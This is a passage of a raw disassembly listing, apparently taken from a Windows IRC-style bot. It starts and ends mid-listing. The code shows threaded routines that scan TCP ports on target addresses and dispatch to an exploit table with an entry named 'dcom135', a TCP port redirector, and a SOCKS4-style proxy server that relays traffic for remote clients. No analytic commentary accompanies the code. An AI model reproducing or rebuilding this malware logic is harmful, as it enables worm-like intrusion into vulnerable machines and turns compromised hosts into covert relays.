ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi xor edi, edi xor ebx, ebx inc edi push ebx push edi push 2 mov [ebp+var_4], edi call dword_43EBA4 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_407544 xor eax, eax jmp short loc_4075B3 ; --------------------------------------------------------------------------- loc_407544: ; CODE XREF: sub_40751B+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_43EB24 ; htons mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_43EBC0 ; ioctlsocket lea eax, [ebp+var_1C] push 10h push eax push esi call dword_43EACC ; connect mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_43EB0C ; select push esi mov edi, eax call dword_43EBBC ; closesocket xor eax, eax cmp edi, ebx setnle al loc_4075B3: ; CODE XREF: sub_40751B+27j pop edi pop esi pop ebx leave retn sub_40751B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4075B8 proc near ; DATA XREF: sub_4077CC+13Bo var_2A8 = dword ptr -2A8h var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax call dword_423058 ; GetTickCount push eax call sub_417008 mov ebx, esi pop ecx imul ebx, 234h jmp loc_4077A9 ; --------------------------------------------------------------------------- loc_407604: ; CODE XREF: sub_4075B8+1FFj cmp [ebp+var_10], 0 push eax jz short loc_40761A lea eax, [ebp+var_150] push eax call sub_40747F pop ecx jmp short loc_40761F ; --------------------------------------------------------------------------- loc_40761A: ; CODE XREF: sub_4075B8+51j call sub_407437 loc_40761F: ; CODE XREF: sub_4075B8+60j pop ecx mov edi, eax push [ebp+arg_0] push dword_44456C[ebx] push [ebp+var_3C] push edi call dword_43EBB0 ; inet_ntoa push eax lea eax, [ebp+var_28C] push offset dword_42A4F0 push eax call sub_416FB6 lea eax, [ebp+var_28C] push eax lea eax, dword_444368[ebx] push eax call sub_416FB6 push [ebp+var_38] push [ebp+var_3C] push edi call sub_40751B add esp, 2Ch cmp eax, 1 jnz loc_40779E cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_4076F3 push offset dword_43CCB0 call dword_4230C8 ; RtlEnterCriticalSection push [ebp+var_3C] push edi call dword_43EBB0 ; inet_ntoa push eax lea eax, [ebp+var_28C] push offset dword_42A4A8 push eax call sub_416FB6 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_4076D5 cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_4076C9 lea eax, [ebp+var_140] loc_4076C9: ; CODE XREF: sub_4075B8+109j push eax push [ebp+var_40] call sub_40D476 add esp, 14h loc_4076D5: ; CODE XREF: sub_4075B8+EEj lea eax, [ebp+var_28C] push eax call sub_40BD8D mov [esp+2A8h+var_2A8], offset dword_43CCB0 call dword_4230C4 ; RtlLeaveCriticalSection jmp loc_40779E ; --------------------------------------------------------------------------- loc_4076F3: ; CODE XREF: sub_4075B8+BEj push edi call dword_43EBB0 ; inet_ntoa push eax lea eax, [ebp+var_208] push eax call sub_416FB6 mov eax, [ebp+var_20] imul eax, 3Ch add eax, offset aDcom135_0 ; "dcom135" push eax lea eax, [ebp+var_178] push eax call sub_416FB6 add esp, 10h cmp [ebp+var_C0], 0 lea eax, [ebp+var_C0] jnz short loc_407737 lea eax, [ebp+var_140] loc_407737: ; CODE XREF: sub_4075B8+177j push eax lea eax, [ebp+var_1F8] push eax call sub_416FB6 mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] mov [ebp+var_15C], eax mov eax, [ebp+var_14] mov [ebp+var_158], eax mov eax, [ebp+var_3C] mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_164], eax imul eax, 3Ch sub esp, 0BCh mov [ebp+var_168], esi lea esi, [ebp+var_20C] push 2Fh pop ecx mov edi, esp rep movsd call off_429D64[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_40779E: ; CODE XREF: sub_4075B8+B4j ; sub_4075B8+136j push 7D0h call dword_423064 ; Sleep loc_4077A9: ; CODE XREF: sub_4075B8+47j mov eax, dword_44456C[ebx] cmp dword_43BD14[eax*8], 0 jnz loc_407604 push esi call sub_416D90 pop ecx push 0 call dword_423054 ; ExitThread sub_4075B8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4077CC proc near ; DATA XREF: sub_40EC43+32C6o ; sub_40EC43+50E9o var_20C = dword ptr -20Ch var_1CC = byte ptr -1CCh var_14C = byte ptr -14Ch var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h xor ebx, ebx pop ecx mov esi, eax lea edi, [ebp+var_14C] inc ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_43EB64 ; inet_addr mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_43BD10[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_4070A3 push 8 call sub_416CBC add esp, 150h cmp eax, ebx jnz short loc_40789A mov esi, offset dword_43CCB0 push esi call dword_4230D0 ; RtlDeleteCriticalSection push 80000400h push esi call dword_4230CC ; InitializeCriticalSectionAndSpinCount test eax, eax jnz short loc_40789A lea eax, [ebp+var_1CC] push offset dword_42A648 push eax call sub_416FB6 xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_407884 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_40D476 add esp, 14h loc_407884: ; CODE XREF: sub_4077CC+99j lea eax, [ebp+var_1CC] push eax call sub_40BD8D pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_40789A: ; CODE XREF: sub_4077CC+63j ; sub_4077CC+7Fj mov eax, [ebp+var_2C] mov esi, dword_423064 mov edi, ebx mov dword_43BD14[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_40795C loc_4078B8: ; CODE XREF: sub_4077CC+18Aj push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset unk_42A600 push eax call sub_416FB6 push ebx lea eax, [ebp+var_1CC] push 8 push eax call sub_416A7A mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov dword_44456C[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_4075B8 push ebx push ebx call dword_4230A0 ; CreateThread mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov dword_44457C[ecx], eax jnz short loc_407973 call dword_42308C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_1CC] push offset dword_42A5A8 push eax call sub_416FB6 lea eax, [ebp+var_1CC] push eax call sub_40BD8D add esp, 10h loc_40794E: ; CODE XREF: sub_4077CC+1ACj push 1Eh call esi ; Sleep inc edi cmp edi, [ebp+var_20] jbe loc_4078B8 loc_40795C: ; CODE XREF: sub_4077CC+E6j cmp [ebp+var_30], ebx jz short loc_407981 mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi ; Sleep jmp short loc_40798E ; --------------------------------------------------------------------------- loc_40796F: ; CODE XREF: sub_4077CC+1AAj push 1Eh call esi ; Sleep loc_407973: ; CODE XREF: sub_4077CC+159j cmp [ebp+var_4], ebx jz short loc_40796F jmp short loc_40794E ; --------------------------------------------------------------------------- loc_40797A: ; CODE XREF: sub_4077CC+1C0j push 7D0h call esi ; Sleep loc_407981: ; CODE XREF: sub_4077CC+193j mov eax, [ebp+var_2C] cmp dword_43BD14[eax*8], 1 jz short loc_40797A loc_40798E: ; CODE XREF: sub_4077CC+1A1j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_43BD10[eax*8] push eax call dword_43EBB0 ; inet_ntoa push eax lea eax, [ebp+var_1CC] push offset dword_42A548 push eax call sub_416FB6 add esp, 14h cmp [ebp+var_10], ebx jnz short loc_4079DC push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_40D476 add esp, 14h loc_4079DC: ; CODE XREF: sub_4077CC+1F1j lea eax, [ebp+var_1CC] push eax call sub_40BD8D mov eax, [ebp+var_2C] mov [esp+20Ch+var_20C], 0BB8h mov dword_43BD14[eax*8], ebx call esi ; Sleep push 8 call sub_416CBC cmp eax, 1 pop ecx jnz short loc_407A13 push offset dword_43CCB0 call dword_4230D0 ; RtlDeleteCriticalSection loc_407A13: ; CODE XREF: sub_4077CC+23Aj push [ebp+var_2C] call sub_416D90 pop ecx push ebx call dword_423054 ; ExitThread sub_4077CC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_407A23 proc near ; DATA XREF: sub_40EC43+3698o var_34C = byte ptr -34Ch var_14C = byte ptr -14Ch var_148 = dword ptr -148h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = byte ptr -14h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 34Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp+var_14C] rep movsd xor edi, edi push 10h inc edi pop ebx mov [eax+120h], edi xor esi, esi push ebx lea eax, [ebp+var_10] push esi push eax call sub_417030 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_40] call dword_43EB24 ; htons push 6 push edi push 2 mov [ebp+var_E], ax mov [ebp+var_C], esi mov [ebp+arg_0], ebx call dword_43EBA4 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_407B86 mov eax, [ebp+var_3C] push edi imul eax, 234h push 401h push esi push ebx mov dword_444574[eax], ebx call dword_43EA40 ; WSAAsyncSelect lea eax, [ebp+var_10] push 10h push eax push ebx call dword_43EB50 ; bind test eax, eax jnz loc_407B86 push 0Ah push ebx call dword_43EB4C ; listen test eax, eax jnz loc_407B86 loc_407ACD: ; CODE XREF: sub_407A23+BEj ; sub_407A23+15Ej lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_24] push eax push ebx call dword_43EBB8 ; accept mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_407ACD movzx eax, [ebp+var_22] push [ebp+var_3C] mov [ebp+var_148], edi mov [ebp+var_2C], esi push eax push [ebp+var_20] call dword_43EBB0 ; inet_ntoa push eax lea eax, [ebp+var_34C] push offset unk_42A6E8 push eax call sub_416FB6 push edi lea eax, [ebp+var_34C] push 10h push eax call sub_416A7A mov [ebp+var_38], eax imul eax, 234h mov ecx, [ebp+var_3C] add esp, 20h mov dword_44456C[eax], ecx lea eax, [ebp+var_14] push eax lea eax, [ebp+var_14C] push esi push eax push offset sub_407BAA push esi push esi call dword_4230A0 ; CreateThread mov ecx, [ebp+var_38] imul ecx, 234h cmp eax, esi mov dword_44457C[ecx], eax jnz short loc_407B7C call dword_42308C ; RtlGetLastWin32Error push eax push offset unk_42A698 call sub_40BE01 pop ecx pop ecx jmp short loc_407B89 ; --------------------------------------------------------------------------- loc_407B74: ; CODE XREF: sub_407A23+15Cj push 32h call dword_423064 ; Sleep loc_407B7C: ; CODE XREF: sub_407A23+13Aj cmp [ebp+var_2C], esi jz short loc_407B74 jmp loc_407ACD ; --------------------------------------------------------------------------- loc_407B86: ; CODE XREF: sub_407A23+61j ; sub_407A23+93j ... mov edi, [ebp+arg_0] loc_407B89: ; CODE XREF: sub_407A23+14Fj push edi call dword_43EBBC ; closesocket push ebx call dword_43EBBC ; closesocket push [ebp+var_3C] call sub_416D90 pop ecx push esi call dword_423054 ; ExitThread pop edi pop esi pop ebx sub_407A23 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_407BAA proc near ; DATA XREF: sub_407A23+11Co var_1344 = byte ptr -1344h var_344 = byte ptr -344h var_144 = byte ptr -144h var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_34 = dword ptr -34h var_30 = dword ptr -30h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1344h call sub_417830 mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd mov ebx, [ebp+var_30] xor ecx, ecx inc ecx push 6 push ecx push 2 mov [eax+120h], ecx mov [ebp+var_4], ebx call dword_43EBA4 ; socket mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+arg_0], esi jz loc_407D0D push 10h lea eax, [ebp+var_18] push edi push eax call sub_417030 add esp, 0Ch mov [ebp+var_18], 2 push [ebp+var_3C] call dword_43EB24 ; htons mov [ebp+var_16], ax lea eax, [ebp+var_13C] push eax call dword_43EB64 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_407C3A lea eax, [ebp+var_13C] push eax call dword_43EBA8 ; gethostbyname jmp short loc_407C48 ; --------------------------------------------------------------------------- loc_407C3A: ; CODE XREF: sub_407BAA+7Fj push 2 lea eax, [ebp+var_8] push 4 push eax call dword_43EADC ; gethostbyaddr loc_407C48: ; CODE XREF: sub_407BAA+8Ej cmp eax, edi jz loc_407D0D mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp+var_14], eax lea eax, [ebp+var_18] push eax push esi call dword_43EACC ; connect cmp eax, 0FFFFFFFFh jz loc_407D0D movzx eax, [ebp+var_16] push [ebp+var_34] mov [ebp+var_20], edi push eax push [ebp+var_14] call dword_43EBB0 ; inet_ntoa push eax lea eax, [ebp+var_344] push offset unk_42A790 push eax call sub_416FB6 push esi lea eax, [ebp+var_344] push 10h push eax call sub_416A7A imul ebx, 234h mov [ebp+var_30], eax imul eax, 234h mov ecx, [ebp+var_34] lea esi, dword_444574[ebx] mov dword_44456C[eax], ecx add esp, 20h mov ecx, [esi] mov dword_444578[eax], ecx lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_144] push edi push eax push offset sub_407D92 push edi push edi call dword_4230A0 ; CreateThread mov ecx, [ebp+var_30] imul ecx, 234h cmp eax, edi mov dword_44457C[ecx], eax jnz short loc_407D46 call dword_42308C ; RtlGetLastWin32Error push eax push offset unk_42A740 call sub_40BE01 pop ecx pop ecx loc_407D0D: ; CODE XREF: sub_407BAA+44j ; sub_407BAA+A0j ... mov eax, [ebp+var_4] imul eax, 234h push dword_444574[eax] call dword_43EBBC ; closesocket push [ebp+arg_0] call dword_43EBBC ; closesocket push [ebp+var_4] call sub_416D90 pop ecx push edi call dword_423054 ; ExitThread pop edi pop esi pop ebx loc_407D3E: ; CODE XREF: sub_407BAA+19Fj push 32h call dword_423064 ; Sleep loc_407D46: ; CODE XREF: sub_407BAA+14Ej cmp [ebp+var_20], edi jz short loc_407D3E mov ebx, 1000h loc_407D50: ; CODE XREF: sub_407BAA+1E1j push ebx lea eax, [ebp+var_1344] push edi push eax call sub_417030 add esp, 0Ch lea eax, [ebp+var_1344] push edi push ebx push eax push dword ptr [esi] call dword_43EB3C ; recv cmp eax, edi jle short loc_407D0D push edi push eax lea eax, [ebp+var_1344] push eax push [ebp+arg_0] call dword_43EB74 ; send cmp eax, 0FFFFFFFFh jnz short loc_407D50 jmp loc_407D0D sub_407BAA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407D92 proc near ; DATA XREF: sub_407BAA+130o var_1128 = byte ptr -1128h var_128 = byte ptr -128h var_14 = dword ptr -14h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1128h call sub_417830 mov eax, [ebp+arg_0] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp+var_128] rep movsd mov esi, [ebp+var_14] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_407DC9: ; CODE XREF: sub_407D92+7Cj push edi lea eax, [ebp+var_1128] push 0 push eax call sub_417030 add esp, 0Ch lea eax, [ebp+var_1128] push 0 push edi push eax push dword_444578[esi] call dword_43EB3C ; recv test eax, eax jle short loc_407E10 push 0 push eax lea eax, [ebp+var_1128] push eax push dword_444574[esi] call dword_43EB74 ; send cmp eax, 0FFFFFFFFh jnz short loc_407DC9 loc_407E10: ; CODE XREF: sub_407D92+61j push dword_444578[esi] call dword_43EBBC ; closesocket push [ebp+var_14] call sub_416D90 pop ecx push 0 call dword_423054 ; ExitThread pop edi pop esi sub_407D92 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407E2F proc near ; DATA XREF: sub_40EC43+5E39o var_2D4 = byte ptr -2D4h var_D4 = dword ptr -0D4h var_D0 = byte ptr -0D0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_28 = dword ptr -28h var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 10h mov esi, eax pop ebx lea edi, [ebp+var_D4] push 2Ch mov [ebp+var_4], ebx pop ecx rep movsd xor edi, edi xor esi, esi inc edi push ebx mov [eax+0A8h], edi lea eax, [ebp+var_14] push esi push eax call sub_417030 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+var_40] call dword_43EB24 ; htons push 6 push edi push 2 mov [ebp+var_12], ax mov [ebp+var_10], esi call dword_43EBA4 ; socket mov edi, eax mov eax, [ebp+var_3C] imul eax, 234h push ebx mov dword_444574[eax], edi lea eax, [ebp+var_14] push eax push edi call dword_43EB50 ; bind test eax, eax jnz loc_407FD0 push 0Ah push edi call dword_43EB4C ; listen test eax, eax jnz loc_407FD0 push [ebp+var_40] push [ebp+var_D4] call sub_40AD08 pop ecx push eax lea eax, [ebp+var_2D4] push offset unk_42A8CC push eax call sub_416FB6 add esp, 10h cmp [ebp+var_30], esi jnz short loc_407F0A push esi lea eax, [ebp+var_2D4] push [ebp+var_34] push eax lea eax, [ebp+var_D0] push eax push [ebp+var_D4] call sub_40D476 add esp, 14h loc_407F0A: ; CODE XREF: sub_407E2F+B9j ; sub_407E2F+18Aj ... lea eax, [ebp+var_2D4] push eax call sub_40BD8D pop ecx lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax push edi call dword_43EBB8 ; accept push [ebp+var_3C] mov ebx, eax movzx eax, [ebp+var_22] push eax mov [ebp+var_28], esi push [ebp+var_20] call dword_43EBB0 ; inet_ntoa push eax lea eax, [ebp+var_2D4] push offset unk_42A870 push eax call sub_416FB6 push ebx lea eax, [ebp+var_2D4] push 11h push eax call sub_416A7A mov [ebp+var_38], eax imul eax, 234h mov ecx, [ebp+var_3C] add esp, 20h mov dword_44456C[eax], ecx lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_D4] push esi push eax push offset sub_408033 push esi push esi call dword_4230A0 ; CreateThread mov ecx, [ebp+var_38] imul ecx, 234h cmp eax, esi mov dword_44457C[ecx], eax jnz short loc_407FC6 call dword_42308C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2D4] push offset unk_42A828 push eax call sub_416FB6 add esp, 0Ch jmp loc_407F0A ; --------------------------------------------------------------------------- loc_407FBE: ; CODE XREF: sub_407E2F+19Aj push 5 call dword_423064 ; Sleep loc_407FC6: ; CODE XREF: sub_407E2F+16Dj cmp [ebp+var_28], esi jz short loc_407FBE jmp loc_407F0A ; --------------------------------------------------------------------------- loc_407FD0: ; CODE XREF: sub_407E2F+7Bj ; sub_407E2F+8Cj push edi call dword_43EBBC ; closesocket push [ebp+var_40] lea eax, [ebp+var_2D4] push offset unk_42A7E4 push eax call sub_416FB6 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_408013 push esi lea eax, [ebp+var_2D4] push [ebp+var_34] push eax lea eax, [ebp+var_D0] push eax push [ebp+var_D4] call sub_40D476 add esp, 14h loc_408013: ; CODE XREF: sub_407E2F+1C2j lea eax, [ebp+var_2D4] push eax call sub_40BD8D push [ebp+var_3C] call sub_416D90 pop ecx pop ecx push esi call dword_423054 ; ExitThread pop edi pop esi pop ebx sub_407E2F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408033 proc near ; DATA XREF: sub_407E2F+14Fo var_5D4 = dword ptr -5D4h var_5D0 = dword ptr -5D0h var_4D0 = byte ptr -4D0h var_4CF = byte ptr -4CFh var_4CE = word ptr -4CEh var_4CC = dword ptr -4CCh var_4C8 = byte ptr -4C8h var_C8 = byte ptr -0C8h var_44 = byte ptr -44h var_2C = dword ptr -2Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 2Ch mov esi, eax pop ecx lea edi, [ebp+var_C8] rep movsd mov esi, [ebp+var_2C] xor edi, edi mov [ebp+arg_0], esi imul esi, 234h inc edi lea esi, dword_444574[esi] mov [eax+0ACh], edi xor ebx, ebx mov eax, [esi] mov [ebp+var_8], 5 mov [ebp+var_5D0], eax lea eax, [ebp+var_8] push eax push ebx lea eax, [ebp+var_5D4] push ebx push eax push ebx mov [ebp+var_4], ebx mov [ebp+var_5D4], edi call dword_43EB0C ; select test eax, eax jnz short loc_4080B4 push dword ptr [esi] call dword_43EBBC ; closesocket push [ebp+arg_0] call sub_416D90 pop ecx push ebx call dword_423054 ; ExitThread loc_4080B4: ; CODE XREF: sub_408033+67j push ebx lea eax, [ebp+var_4D0] push 408h push eax push dword ptr [esi] call dword_43EB3C ; recv test eax, eax jg short loc_4080E5 push dword ptr [esi] call dword_43EBBC ; closesocket push [ebp+arg_0] call sub_416D90 pop ecx push ebx call dword_423054 ; ExitThread loc_4080E5: ; CODE XREF: sub_408033+98j cmp [ebp+var_4D0], 4 jnz loc_4082DF cmp [ebp+var_4CF], 1 jnz loc_4082DF cmp [ebp+var_44], bl jz short loc_40817B lea eax, [ebp+var_44] push eax lea eax, [ebp+var_4C8] push eax call sub_4173D0 pop ecx test eax, eax pop ecx jz short loc_40817B lea eax, [ebp+var_44] push eax lea eax, [ebp+var_4C8] push eax push offset unk_42A9A8 call sub_40BE01 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Dh call sub_417030 add esp, 18h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_43EB74 ; send push dword ptr [esi] call dword_43EBBC ; closesocket push [ebp+arg_0] call sub_416D90 pop ecx push ebx call dword_423054 ; ExitThread loc_40817B: ; CODE XREF: sub_408033+CFj ; sub_408033+E5j push 10h lea eax, [ebp+var_18] push ebx push eax call sub_417030 mov ax, [ebp+var_4CE] add esp, 0Ch mov [ebp+var_16], ax mov eax, [ebp+var_4CC] push 6 push edi push 2 mov [ebp+var_18], 2 mov [ebp+var_14], eax call dword_43EBA4 ; socket mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_408213 call dword_43EAB8 ; WSAGetLastError push eax push offset unk_42A958 call sub_40BE01 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Bh call sub_417030 add esp, 14h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_43EB74 ; send push dword ptr [esi] call dword_43EBBC ; closesocket push [ebp+arg_0] call sub_416D90 pop ecx push ebx call dword_423054 ; ExitThread loc_408213: ; CODE XREF: sub_408033+181j lea eax, [ebp+var_18] push 10h push eax push edi call dword_43EACC ; connect cmp eax, 0FFFFFFFFh jnz short loc_408282 call dword_43EAB8 ; WSAGetLastError push eax push offset unk_42A908 call sub_40BE01 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Bh call sub_417030 add esp, 14h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_43EB74 ; send push dword ptr [esi] call dword_43EBBC ; closesocket push [ebp+arg_0] call sub_416D90 pop ecx push ebx call dword_423054 ; ExitThread loc_408282: ; CODE XREF: sub_408033+1F0j push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Ah call sub_417030 add esp, 0Ch lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_43EB74 ; send push dword ptr [esi] push edi call sub_4082F7 pop ecx pop ecx push edi call dword_43EBBC ; closesocket push dword ptr [esi] call dword_43EBBC ; closesocket push [ebp+arg_0] call sub_416D90 pop ecx push ebx call dword_423054 ; ExitThread loc_4082DF: ; CODE XREF: sub_408033+B9j ; sub_408033+C6j push dword ptr [esi] call dword_43EBBC ; closesocket push [ebp+arg_0] call sub_416D90 pop ecx push ebx call dword_423054 ; ExitThread sub_408033 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4082F7 proc near ; CODE XREF: sub_408033+286p var_504 = byte ptr -504h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi mov esi, 400h loc_40830D: ; CODE XREF: sub_4082F7+BEj ; sub_4082F7+EEj xor ecx, ecx mov [ebp+var_100], ebx inc ecx xor eax, eax mov [ebp+var_104], ecx loc_40831E: ; CODE XREF: sub_4082F7+36j mov edx, [ebp+arg_0] cmp [ebp+eax*4+var_100], edx jz short loc_40832F inc eax cmp eax, ecx jb short loc_40831E loc_40832F: ; CODE XREF: sub_4082F7+31j cmp eax, ecx jnz short loc_408343 mov [ebp+var_FC], edx mov [ebp+var_104], 2 loc_408343: ; CODE XREF: sub_4082F7+3Aj push esi lea eax, [ebp+var_504] push edi push eax call sub_417030 add esp, 0Ch lea eax, [ebp+var_104] push edi push edi push edi push eax push edi call dword_43EB0C ; select lea eax, [ebp+var_104] push eax push ebx call dword_43EA1C ; __WSAFDIsSet test eax, eax jz short loc_4083A3 push edi lea eax, [ebp+var_504] push esi push eax push ebx call dword_43EB3C ; recv cmp eax, 0FFFFFFFFh jz short loc_4083EB push edi push eax lea eax, [ebp+var_504] push eax push [ebp+arg_0] call dword_43EB74 ; send cmp eax, 0FFFFFFFFh jz short loc_4083EB loc_4083A3: ; CODE XREF: sub_4082F7+7Ej lea eax, [ebp+var_104] push eax push [ebp+arg_0] call dword_43EA1C ; __WSAFDIsSet test eax, eax jz loc_40830D push edi lea eax, [ebp+var_504] push esi push eax push [ebp+arg_0] call dword_43EB3C ; recv cmp eax, 0FFFFFFFFh jz short loc_4083EB push edi push eax lea eax, [ebp+var_504] push eax push ebx call dword_43EB74 ; send cmp eax, 0FFFFFFFFh jnz loc_40830D loc_4083EB: ; CODE XREF: sub_4082F7+93j ; sub_4082F7+AAj ... pop edi pop esi pop ebx leave retn sub_4082F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4083F0 proc near ; CODE XREF: sub_40EC43+4565p var_484 = byte ptr -484h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = word ptr -78h var_76 = word ptr -76h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = word ptr -4Ch var_4A = word 